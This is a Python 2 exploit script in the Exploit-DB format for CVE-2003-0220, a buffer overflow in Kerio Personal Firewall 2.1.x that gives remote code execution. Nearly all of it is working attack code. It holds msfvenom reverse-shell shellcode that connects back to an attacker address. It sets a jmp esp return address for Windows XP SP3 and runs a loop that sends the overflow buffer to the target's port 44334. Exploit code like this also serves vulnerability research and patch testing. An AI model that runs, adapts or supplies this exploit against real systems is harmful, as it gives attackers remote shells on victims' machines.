# Exploit Title: Kerio Personal Firewall 2.1.4 - Remote Code Execution
# Date: 2018-07-26
# Exploit Author: Steve Kelly
# CVE : CVE-2003-0220
# Writeup: http://stevekelly.org.uk/2018/07/26/exploit-rewrite-kerio-personal-firewall-2-1-4/
# Ref: http://www.securityfocus.com/bid/7180/info

# Vulnerable versions
# -------------------------------
# Kerio Personal Firewall 2 2.1.4
# Kerio Personal Firewall 2 2.1.3
# Kerio Personal Firewall 2 2.1.2
# Kerio Personal Firewall 2 2.1.1
# Kerio Personal Firewall 2 2.1

# Tested on Python 2.7 and Windows XP SP3 (English)

# Rewrite of an old exploit from 2003, based on https://www.exploit-db.com/exploits/28/
# In order to exploit, for ease of mind, set the firewall to permit all traffic, or allow
# a connection to port 44334 from your testing unix shell ip.
# JMP ESP - RPCRT4.dll (Tested on Windows XP SP3 English only)
# 0x77e8560a : "jmp esp" |  {PAGE_EXECUTE_READ} [RPCRT4.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\RPCRT4.dll)
# ESP is small, Payload exists

import sys
import socket
import struct
import time

if len(sys.argv) < 2:
    print "\nUsage: " + sys.argv[0] + " <HOST> [port]\n"
    sys.exit()

if len(sys.argv) < 3:
    port = 44334
else:
    port = int(sys.argv[2])

host = sys.argv[1]

#msfvenom --payload windows/shell_reverse_tcp LHOST=192.168.80.129 LPORT=80 EXITFUNC=thread -f python -b "\x00" -v shellcode
shellcode =  ""
shellcode += "\xdb\xdf\xb8\x23\x74\xa5\x74\xd9\x74\x24\xf4\x5a"
shellcode += "\x33\xc9\xb1\x52\x31\x42\x17\x03\x42\x17\x83\xc9"
shellcode += "\x88\x47\x81\xf1\x99\x0a\x6a\x09\x5a\x6b\xe2\xec"
shellcode += "\x6b\xab\x90\x65\xdb\x1b\xd2\x2b\xd0\xd0\xb6\xdf"
shellcode += "\x63\x94\x1e\xd0\xc4\x13\x79\xdf\xd5\x08\xb9\x7e"
shellcode += "\x56\x53\xee\xa0\x67\x9c\xe3\xa1\xa0\xc1\x0e\xf3"
shellcode += "\x79\x8d\xbd\xe3\x0e\xdb\x7d\x88\x5d\xcd\x05\x6d"
shellcode += "\x15\xec\x24\x20\x2d\xb7\xe6\xc3\xe2\xc3\xae\xdb"
shellcode += "\xe7\xee\x79\x50\xd3\x85\x7b\xb0\x2d\x65\xd7\xfd"
shellcode += "\x81\x94\x29\x3a\x25\x47\x5c\x32\x55\xfa\x67\x81"
shellcode += "\x27\x20\xed\x11\x8f\xa3\x55\xfd\x31\x67\x03\x76"
shellcode += "\x3d\xcc\x47\xd0\x22\xd3\x84\x6b\x5e\x58\x2b\xbb"
shellcode += "\xd6\x1a\x08\x1f\xb2\xf9\x31\x06\x1e\xaf\x4e\x58"
shellcode += "\xc1\x10\xeb\x13\xec\x45\x86\x7e\x79\xa9\xab\x80"
shellcode += "\x79\xa5\xbc\xf3\x4b\x6a\x17\x9b\xe7\xe3\xb1\x5c"
shellcode += "\x07\xde\x06\xf2\xf6\xe1\x76\xdb\x3c\xb5\x26\x73"
shellcode += "\x94\xb6\xac\x83\x19\x63\x62\xd3\xb5\xdc\xc3\x83"
shellcode += "\x75\x8d\xab\xc9\x79\xf2\xcc\xf2\x53\x9b\x67\x09"
shellcode += "\x34\x64\xdf\x41\x45\x0c\x22\x61\x45\x9d\xab\x87"
shellcode += "\x2f\x0d\xfa\x10\xd8\xb4\xa7\xea\x79\x38\x72\x97"
shellcode += "\xba\xb2\x71\x68\x74\x33\xff\x7a\xe1\xb3\x4a\x20"
shellcode += "\xa4\xcc\x60\x4c\x2a\x5e\xef\x8c\x25\x43\xb8\xdb"
shellcode += "\x62\xb5\xb1\x89\x9e\xec\x6b\xaf\x62\x68\x53\x6b"
shellcode += "\xb9\x49\x5a\x72\x4c\xf5\x78\x64\x88\xf6\xc4\xd0"
shellcode += "\x44\xa1\x92\x8e\x22\x1b\x55\x78\xfd\xf0\x3f\xec"
shellcode += "\x78\x3b\x80\x6a\x85\x16\x76\x92\x34\xcf\xcf\xad"
shellcode += "\xf9\x87\xc7\xd6\xe7\x37\x27\x0d\xac\x58\xca\x87"
shellcode += "\xd9\xf0\x53\x42\x60\x9d\x63\xb9\xa7\x98\xe7\x4b"
shellcode += "\x58\x5f\xf7\x3e\x5d\x1b\xbf\xd3\x2f\x34\x2a\xd3"
shellcode += "\x9c\x35\x7f"

# Exploit doesn't always trigger striaght away, so we need to loop until it does, will take a few seconds
# This probably needs re-written to handle the Auth Handshake better
print "Connecting to server and delivering payload"
print "This might take quite a few attempts..."
counter = 0
while True:
    counter += 1
    # Exit out if it's taking forever, host likely isnt vuln
    if counter > 100:
        print "Failed 100 times, may not be exploitable"
        exit()

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(2.0)
    try:
        s.connect((host, port))
    except socket.error, exc:
        print "Server unresponsive - is it up?"
        exit()

    #print "Attempt " + str(counter)
    try:
        s.recv(10)
    except socket.error, exc:
        # Nasty way of checking but it works
        print "Server not responding, payload should have executed..."
        # We could spawn a netcat listener here rather than exit
        exit()
    s.recv(256)

    s.send(struct.pack('!L', 0x149c))
    offset = 5264
    #  0x77e8560a : "jmp esp" |  {PAGE_EXECUTE_READ} [RPCRT4.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\RPCRT4.dll)
    retr = "\x0a\x56\xe8\x77"
    jmpbak = "\xe8\x67\xeb\xff\xff"

    astr = shellcode + "\x90" * (offset - len(shellcode)) + retr + jmpbak + "\x90" * 3
    s.send(astr)

    s.close()
